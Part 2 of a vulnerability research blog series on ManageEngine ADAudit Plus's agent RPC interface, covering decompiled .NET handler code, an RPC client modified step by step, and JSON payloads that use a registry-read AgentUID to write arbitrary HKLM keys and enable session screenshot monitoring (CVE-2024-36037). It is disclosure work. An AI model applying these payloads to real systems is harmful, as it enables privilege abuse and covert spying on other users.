ManageEngine ADAudit - Reverse engineering Windows RPC to find CVEs - part 2 / reverse engineering

Reverse engineering ADAPAgent.exe

So if you followed the part 1 of this research we got a fully working RPC client to interact with the ADAudit Agent. Nice.

We still have alot to accomplish to reach some kind of goal:

  • Create a valid IDL structure
  • Brew a large can of coffee
  • Build a RPC client
  • Guess a lot
  • Create input data that will be marshalled into a valid stub that server will act on.

When testing the custom adauditrpc-client from different authentication context’s it was determined that only Domain Users permission was needed to connect to the RPC interface over the network. The reason for this is because the ADAudit Agent RPC server is configured with a ncacn_np interface. And this interface requires binding of the named pipe over SMB in order to negotiate which port the forthcoming network communication should rely on. And because Domain Users by default can communication with SMB on adjacent servers and computers, this satisfies the RPC authentication part of ManageEngine’s ADAuditAgent.

Apart from this, there are no additional access control lists applied to the named pipe:

checking-acl-of-adapagentrpcpipe

If the custom adauditrpc-client is executed on the local host in a low-privileged session “no” authentication is required as Windows automatically forwards the current authenticated session.

For the last steps on our to do-list we need to dig a bit deeper:

  • Create input data that will be marshalled into a valid stub that the server will act on.

Now we need to figure out which input data we can send and how the AD Audit Agent will behave based on the various input. Luckily we can turn to logs on the target machine and hopefully find more information how this agent works.

After searching through all files on the target Windows machine at C:\Program Files\ManageEngine\ADAuditPlusAgent\ we can observe that running the RPC client generates a log entry similar to this:

> Get-Content 'C:\Program Files\ManageEngine\ADAuditPlusAgent\Logs\MessengerLog_2023_12_01.txt' -Tail 1

[2023-12-01 18:47:17,663] [9][INFO ][Messenger] : Change Notification from ADAP Server, ID : 0

So now we know that we trigger some kind of Change Notification.

We also know from the RpcView.exe output that the RPC named pipe is exposed via a binary called ADAPAgent.exe.

By running the following PowerShell command we determine that the binary is a .NET assembly:

> [System.Reflection.AssemblyName]::GetAssemblyName('C:\Program Files\ManageEngine\ADAuditPlusAgent\bin\ADAPAgent.exe')

Version        Name
-------        ----
6.0.0.0        ADAPAgent

Now we are riding on a shrimp sandwitch (thanks for the Swedish translation @fransrosen :) ). .NET assemblies can much like Jar-files be decompiled into human readable code. This means that we won’t need to dig into low-level language such as assembly, pseudo code or similar.

After downloading and extracting dnSpy we open ADAPAgent.exe and start our investigation.

Quite quickly we notice the RPCHandler class with the NotifyAgent function.

dnspy-decompiling-adauditagent

Comparing this disassembled function from ADAPAgent.exe with our IDL structure, we can assume the following:

parameter-guessing

idl-structure-in-visualstudio

  • Guess a lot

As seen in the code from the NotifyAgent function it was quite boring:

private static int NotifyAgent(int notifyId)
{
	Logger.Msgr.InfoFormat("Change Notification from ADAP Server, ID : {0}", notifyId);
	return 0;
}

It only logs the parameter notifyId.

Looking into the next function however, NofifyAgentStr contains alot more interesting functionality:

// Agent.RPC.RPCHandler
// Token: 0x06000129 RID: 297 RVA: 0x00008D04 File Offset: 0x00006F04
private static int NotifyAgentStr(int notifyId, string msgStr)
{
	int errStatus = 1;
	try
	{
		Hashtable msgMap = JsonAPI.JsonToHashtable(msgStr);
		if (msgMap.ContainsKey("AgentUID") && DataStore.Get("AgentUID").ToString().Equals(msgMap["AgentUID"].ToString()))
		{
			errStatus = 0;
			JObject json = JObject.Parse(msgStr);
			json.Remove("AgentUID");
			json.Remove("ADAP_SERVER_DNS_NAME");
			string jsonMsgStr = JsonAPI.ObjectToJsonString(json);
			switch (notifyId)
			{
			case 0:
				DataStore.Update(jsonMsgStr);
				goto IL_24F;
			case 1:
				if (!ExcludeConfManager.getInstance.UpdateConf(jsonMsgStr))
				{
					Logger.Config.InfoFormat("Exclude configuration updation failed \n{0}", msgStr);
					goto IL_24F;
				}
				goto IL_24F;
			case 2:
			{
				bool flag = ScheduleManager.updateSceduleConf(jsonMsgStr);
				RPCHandler.isScheduleXmlUpdated = false;
				if (flag)
				{
					RPCHandler.isScheduleXmlUpdated = true;
					goto IL_24F;
				}
				Logger.Config.InfoFormat("Schedule configuration updation failed \n{0} ", msgStr);
				goto IL_24F;
			}
			case 3:
				if (!EventParserManager.getInstance.UpdateConf(jsonMsgStr))
				{
					Logger.Config.InfoFormat("Parser configuration updation failed \n{0} ", msgStr);
					goto IL_24F;
				}
				goto IL_24F;
			case 4:
				Logger.Config.InfoFormat("Protocol Configuration is (From ADAP server) : \n{0}", msgStr);
				DataStore.Update(jsonMsgStr);
				goto IL_24F;
			case 7:
				new Thread(delegate()
				{
					DataStore.SendTestPacket();
				}).Start();
				Logger.Config.InfoFormat("Test pockets send to ADAP server thread started", new object[0]);
				goto IL_24F;
			case 8:
			{
				bool enableDebug = false;
				if (msgMap.ContainsKey("ENABLE_DEBUG"))
				{
					enableDebug = (bool)msgMap["ENABLE_DEBUG"];
				}
				Logger.enableDisableDebugLevel(enableDebug);
				goto IL_24F;
			}
			case 9:
				DataStore.Update(jsonMsgStr);
				goto IL_24F;
			case 10:
				Logger.Event.InfoFormat("Request from ADAP server to run schedule immediately", new object[0]);
				new Scheduler().runEventScheduler();
				goto IL_24F;
			case 11:
			{
				JArray shareArray = json["SHARES"] as JArray;
				new Thread(delegate()
				{
					ShareFinalPathName.getFinalPathName(shareArray);
				}).Start();
				goto IL_24F;
			}
			}
			Logger.Msgr.ErrorFormat("NotifyAgentStr :: Invalid notification Id : \n{0}", notifyId);
		}
		else
		{
			Logger.Msgr.ErrorFormat("synced from unknown server : ServerName :: {0}", msgMap["ADAP_SERVER_DNS_NAME"]);
		}
		IL_24F:;
	}
	catch (Exception ex)
	{
		Logger.Msgr.ErrorFormat("EXCEPTION :: RPCHandler.NotifyAgentStr : {0}", ex);
		errStatus = 1;
	}
	return errStatus;
}

Lets see if the private static int NotifyAgentStr(int notifyId, string msgStr) maps to either Proc1 or Proc2 in our IDL:

idl-structure-in-visualstudio

Proc1 requires a long (integer) as arg_0. Check

Proc1 requires a wchar_t (string) as arg_1. Check

Oh yes. Proc1 is likely mapped to the NotifyAgentStr function in ADAP.exe

Lets update the custom adauditrpc-client created in part 1:

-    long arg_0 = 0;
-    long arg1_pointer;
-    long* arg_1 = &arg1_pointer;
-    RpcTryExcept
-    {
-        Proc0(DefaultIfName_v1_0_c_ifspec, arg_0, arg_1);
-    }

+    long arg_0 = 0;
+    wchar_t arg_1[] = L"snus";
+    long arg2_pointer;
+    long* arg_2 = &arg2_pointer;
+    RpcTryExcept
+    {
+        Proc1(DefaultIfName_v1_0_c_ifspec, arg_0, arg_1, arg_2);
+    }

Rebuild the solution and the execute the binary and check the logs. Boom. We are in the NotifyAgentStr.

> Get-Content 'C:\Program Files\ManageEngine\ADAuditPlusAgent\Logs\MessengerLog_2023_12_01.txt' -Tail 10
[2023-12-01 19:41:03,834] [11][INFO ][Messenger] : NATV.FA_NotifyAgentStr :: notification from ADAP server, notifyId : 0
[2023-12-01 19:41:03,849] [11][ERROR][Messenger] : EXCEPTION :: RPCHandler.NotifyAgentStr : Newtonsoft.Json.JsonReaderException: Unexpected character encountered while parsing value: s. Path '', line 0, position 0.
   at Newtonsoft.Json.JsonTextReader.ParseValue()
   at Newtonsoft.Json.JsonTextReader.Read()
   at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.ReadForType(JsonReader reader, JsonContract contract, Boolean hasConverter)
   at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.Deserialize(JsonReader reader, Type objectType, Boolean checkAdditionalContent)
   at Newtonsoft.Json.JsonSerializer.DeserializeInternal(JsonReader reader, Type objectType)
   at Newtonsoft.Json.JsonConvert.DeserializeObject(String value, Type type, JsonSerializerSettings settings)
   at Newtonsoft.Json.JsonConvert.DeserializeObject[T](String value, JsonSerializerSettings settings)
   at Agent.RPC.RPCHandler.NotifyAgentStr(Int32 notifyId, String msgStr) in d:\Webhost\30-12-2021\WindowsBuilds\ADAUDITPLUS_GIT\4649300\ftpagent64\ADAP_SRC\source\agent\core\ADAPAgent\ADAPAgent\RPC\RPCHandler.cs:line 118

The result is a JSON parsing error meaning that the agent is probably expecting JSON input. What we also notice from the agent code is that we have an if statement (line 2) that compares a JSON key named AgentUID with a value fetched by DataStore.Get().

Hashtable msgMap = JsonAPI.JsonToHashtable(msgStr);
		if (msgMap.ContainsKey("AgentUID") && DataStore.Get("AgentUID").ToString().Equals(msgMap["AgentUID"].ToString()))
		{
			errStatus = 0;
			JObject json = JObject.Parse(msgStr);
			json.Remove("AgentUID");
			json.Remove("ADAP_SERVER_DNS_NAME");
			string jsonMsgStr = JsonAPI.ObjectToJsonString(json);
			switch (notifyId)
			{
			case 0:
				DataStore.Update(jsonMsgStr);
				goto IL_24F;
[...]

The DataStore.Get() seems to fetch data from the Windows Registry:

adauditagent-datastore-registry

At this location in the Windows registry the AgentUID is stored:

agentuid-fetched-from-windows-registry

What this information tells us is that we cannot successfully communicate with the ADAudit Agent over the network as we do not know the AgentUID. If we fail to match the AgentUID we fall into to else statement which skips over all the fun cases:

        else
		{
			Logger.Msgr.ErrorFormat("synced from unknown server : ServerName :: {0}", msgMap["ADAP_SERVER_DNS_NAME"]);
		}

However, we are allowed to read registry item from a low-privileged session on the machine, meaning that we still can turn this something that we have into a local attack.

> (Get-ItemProperty -Path "HKLM:\SOFTWARE\ManageEngine\ADAP" -Name AgentUID).AgentUID

1699964702085

Lets see if case 0: is reachable if a correct AgentUID is provided:

-    long arg_0 = 0;
-    wchar_t arg_1[] = L"snus";
-    long arg2_pointer;

+    long arg_0 = 0;
+    wchar_t arg_1[] = L"{\"AgentUID\":\"1699964702085\",\"snus\":\"true\"}";
+    long arg2_pointer;

Build, execute, check the logs:

> Get-Content 'C:\Program Files\ManageEngine\ADAuditPlusAgent\Logs\MessengerLog_2023_12_01.txt' -Tail 1

[10][INFO ][Messenger] : NATV.FA_NotifyAgentStr :: notification from ADAP server, notifyId : 0
...

Look successful. But what happened? Search through all logs..

> Get-ChildItem 'C:\Program Files\ManageEngine\ADAuditPlusAgent\Logs\*' | Select-String snus

AgentLog_2023_12_01.txt:103:[2023-12-01 20:14:55,884] [10][INFO ][Default] : Set Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\ManageEngine\ADAP\snus = true
...

Now we are getting somewhere. We have the ability to write arbitrary registry entries in the HKEY_LOCAL_MACHINE\SOFTWARE\ManageEngine\ADAP location which should only be writable by high-privileged users. And we can do this from a local low-privileged user. Very nice.

arbitrary-registry-changes

<insert celebration dance and get more coffee>

  • Create a valid IDL structure
  • Brew a large can of coffee
  • Build a RPC client
  • Guess a lot
  • Create input data that will be marshalled into a valid stub that server will act on.

The last step is now completed on the initial to do-list. But more reversing is needed to reach our en goal. Remember the SessionMonitoring feature which was the targetted functionality?

SessionMonitoring seems to be enabled by the registry item SMStatus in HKEY_LOCAL_MACHINE\SOFTWARE\ManageEngine\ADAP\SessionMonitoring

registry-showing-how-to-enable-sessionmonitoring

By reviewing the decompiled code of the ADAPAgent.exe function DataStore we notice that if we input SMData as a JSON key we can reach DataStore.UpdateSMDetails which looks promising.

dotnet-sourcecode-showing-howto-reach-smdata

dotnet-code-showing-how-to-enable-sessionmonitoring

Let’s update our custom ADAuditAgentRPC client POC with a nested JSON object such as:

{
    "AgentUID":"1699964702085",
    "SMData":{
        "SMStatus":"True"
    }
}
-  wchar_t arg_1[] = L"{\"AgentUID\":\"1699964702085\",\"snus\":\"true\"}";
+  wchar_t arg_1[] = L"{\"AgentUID\":\"1699964702085\",\"SMData\":{\"SMStatus\":\"True\"}}";

Build, execute, check the logs:

> Get-Content 'C:\Program Files\ManageEngine\ADAuditPlusAgent\Logs\AgentLog_2023_12_02.txt' | Select-String SMSTatus

[2023-12-02 10:28:29,988] [9][INFO ][Default] : Set Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\ManageEngine\ADAP\SessionMonitoring\SMStatus = True
...

Great success!

Summary

So what we actually managed to do is to enable the SessionMonitoring feature from a local low privileged user. When this feature is enabled and when a user logs into the machine screenshots will be taken with 1 seconds interval and stored in the directory C:\ProgramData\ManageEngine\ADAuditPlus Agent\SessionMonitoring. This directory is readable by all local users and enables an attacker to monitor other sessions.

In addition all configuration parameter stored in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\ManageEngine\ADAP is under the attackers control.

POC:

The permissive folder permission allowing all users to view the screenshots was assigned CVE-2024-36037 and was fixed in Build 7270 (Dec 29, 2023)

Fixes

A few changes focused on hardening the security of agent data have been implemented.

However, one crucial part regarding the ADAudit Agent RPC client was overseen. Remember the first sentence in part 1:

The objective when this research started was actually to find a new way to leverage an old CVE

… We are not using the latest version.

Continue reading part 3 to find out which mitigation that was already in place, preventing exploitation of the RPC security issue, and how it was bypassed.

Part 3: https://www.shelltrail.com/research/manageengine-adaudit-reverse-engineering-windows-rpc-to-find-cve-2024-36036-and-cve-2024-36037-part3/

Or if you missed part 1: https://www.shelltrail.com/research/manageengine-adaudit-reverse-engineering-windows-rpc-to-find-cve-2024-36036-and-cve-2024-36037-part1/